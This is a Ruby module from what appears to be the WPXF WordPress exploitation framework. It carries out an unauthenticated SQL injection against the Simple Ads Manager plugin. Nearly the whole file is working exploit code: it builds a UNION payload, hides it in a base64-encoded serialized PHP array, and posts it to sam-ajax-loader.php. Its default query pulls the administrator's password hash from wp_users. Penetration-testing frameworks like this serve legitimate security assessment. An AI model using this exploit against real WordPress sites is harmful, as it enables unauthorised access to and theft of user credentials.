lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb
# frozen_string_literal: true
require 'base64'
require 'json'
class Wpxf::Auxiliary::SimpleAdsManagerSqlInjection < Wpxf::Module
include Wpxf
def initialize
super
update_info(
name: 'Simple Ads Manager SQL Injection',
desc: 'This module exploits an SQL injection in version '\
'2.9.5.116 of the Simple Ads Manager plugin which '\
'allows unauthenticated users to view a single field of '\
'data at a time, such as e-mails and passwords.',
author: [
'Kacper Szurek', # Vulnerability discovery
'rastating' # WPXF module
],
references: [
['URL', 'http://security.szurek.pl/simple-ads-manager-294116-sql-injection.html'],
['WPVDB', '8357']
],
date: 'Dec 30 2015'
)
register_options([
StringOption.new(
name: 'sql',
desc: 'The SQL query to execute (maximum of one field selected)',
default: 'select user_pass from wp_users where ID = 1',
required: true
)
])
end
def sql
normalized_option_value('sql')
end
def valid_query?
match = sql.match(/^select\s+(.+)\s+from.+/i)
if match.nil?
emit_error 'Could not determine the field list from the query', true
return false
end
if match[1].include?(',') || match[1].include?('*')
emit_warning 'More than one field appears to have been selected. This '\
'can cause the query to silently fail and return no data'
end
true
end
def compile_sqli
padding = ''
(1..22).each { |i| padding += ",#{Utility::Text.rand_numeric(rand(1..3))}" }
sql.gsub(/^(select\s+)(.+)(\s+from.+)/i, ") UNION (\\1\\2#{padding}\\3")
end
def check
check_plugin_version_from_readme('simple-ads-manager', '2.9.5.118', '2.9.4.116')
end
def vulnerable_url
normalize_uri(wordpress_url_plugins, 'simple-ads-manager', 'sam-ajax-loader.php')
end
def encoded_injection
compiled_sqli = compile_sqli
emit_info "Compiled SQL: #{compiled_sqli}", true
serialized = "a:4:{s:2:\"WC\";s:3:\"1=0\";s:3:\"WCT\";s:0:\"\";s"\
":3:\"WCW\";s:#{compiled_sqli.bytesize}:\"#{compiled_sqli}\""\
";s:4:\"WC2W\";s:0:\"\";}"
Base64.strict_encode64(serialized)
end
def run
return false unless super
emit_info 'Validating SQL...'
unless valid_query?
emit_error 'Specified query appears to be invalid'
return false
end
emit_info 'Preparing injection...'
body = {
'action' => 'load_place',
'id' => '0',
'pid' => '1',
'wc' => encoded_injection
}
emit_info 'Executing request...'
res = execute_post_request(url: vulnerable_url, body: body)
if res.nil? || res.timed_out?
emit_error 'No response from the target'
return false
end
if res.code != 200 || res.body.strip.empty?
emit_info "Response code: #{res.code}", true
emit_info "Response body: #{res.body}", true
emit_error 'Failed to execute request'
return false
end
emit_info 'Parsing response...'
begin
json = JSON.parse(res.body)
emit_success "Query result: #{json['pid']}"
rescue JSON::ParserError
emit_error 'Could not parse the response'
return false
end
true
end
end